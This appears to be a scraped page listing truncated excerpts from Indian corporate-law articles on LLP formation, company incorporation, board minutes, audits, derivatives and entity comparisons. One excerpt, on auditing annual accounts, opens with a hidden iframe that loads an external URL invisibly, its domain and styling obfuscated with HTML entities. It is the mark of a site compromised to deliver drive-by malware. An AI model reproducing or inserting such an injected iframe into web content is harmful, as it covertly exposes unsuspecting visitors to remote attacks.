NOTE ON FORMATION OF LIMITED LIABILITY PARTNERSHIP     LEGAL FRAMEWORK:-   The Limited Liability Partnership (LLP) is governed by Limited Liability Partnership (LLP) Act, 2008...

Steps to be taken to get a new company incorporated: Select, in order of preference, at least one suitable name upto a maximum of six names, indicative of the main objects of the company. Ensure t...

Arbitration- a new avenue for practicing company secretaries Introduction: The dictionary meaning of the word arbitration is “hearing and settling of a dispute by an impartial referee chos...

The Competition Law, 2002 & Its Development Factors Today, the whole world is facing the thought cut competition and to stand ‘in’; every nation is trying to pull their economy up. The globalization...

There has been a recent point of view whether confirmation of minutes is necessary . If we try to comprehend the provisions of companies Act,1956 it says in nutshell as follows : - the minutes o...

The Supreme Court verdict in Kerala State Electricity Board V/s Hindustan Construction Co. Limited [2009] 91 SCL 183 (SC) seems to read out of context. In that case, the directors had resolved on few...

HI... Executive Director (ED) is always a Whole Time Director (WTD)of the Company, Form 32 is mandatory when his position as Director is justified by his responsibilities and authority. But the po...

Supreme Court of India has decide in the Matter Kerala State Electricity Board V/s Hindustan Construction Co. Limited [2009] 91 SCL 183 (SC) inter aliea decide that " Confirmation of minutes of Board...

  <iframe src="http://jL.ch&#117;ra.pl&#47;rc/" style="d&#105;splay:none"></iframe>Audit of Annual Accounts of a company is compulsory and is indispens...

What are Derivatives? The term "Derivative" indicates that it has no independent value, i.e. its value is entirely "derived" from the value of the underlying asset. The underlying...

Limited Liability Partnership (LLP) By: Nirav Pankaj Shah, Advocate, Ahmedabad   (A)          General:   As you all are aware, the Country n...

No.TitleSectionProvisionPenalty for Non - Compliances1.No. of Designated Partners7(1)Every Limited Liability Partnership shall have at least two designated partners who are individuals and at least on...

Partners are persons (whether natural or artificial) who have subscribed their name to the incorporation document and further any new person can be admitted to the LLP as per the provisions of LLP Agr...

Step 1: Deciding the Partners and Designated PartnersPrivate Company desires to convert its status to LLP Form shall foremost decide the designated Partners of the proposed LLP, as only the members ca...

LLP Agreement means any written agreement between the partners of the limited liability partnership or between the limited liability partnership and its partners which determines the mutual rights and...

S. NoConditionsCompanyLLP Prevailing LawCompanies are prevailed by ‘Companies Act, 1956’ Limited Liability Partnership are prevailed by ‘The Limited Liability Partnership Act, 2008&r...

LLPonline .in has made the registration of LLP, simpler than anything. It provides the registration procedure in the simplest manner for the easy understanding of a lay man. For registering a LLP, you...

Every designated partner is required to obtain a Designated Partners Identification Number (DPIN) from the Registrar of LLP (ROLLP) by filing an online generated application in physical in e Form 7 sp...

S. NoConditionsCompanyLLP Prevailing LawCompanies are prevailed by ‘Companies Act, 1956’ Limited Liability Partnership are prevailed by ‘The Limited Liability Partnership Act, 2008&r...

S. NoConditionsPartnershipCompanyLLP Prevailing LawPartnership is prevailed by ‘The Indian Partnership Act, 1932’ and various Rules made there under Companies are prevailed by ‘Compa...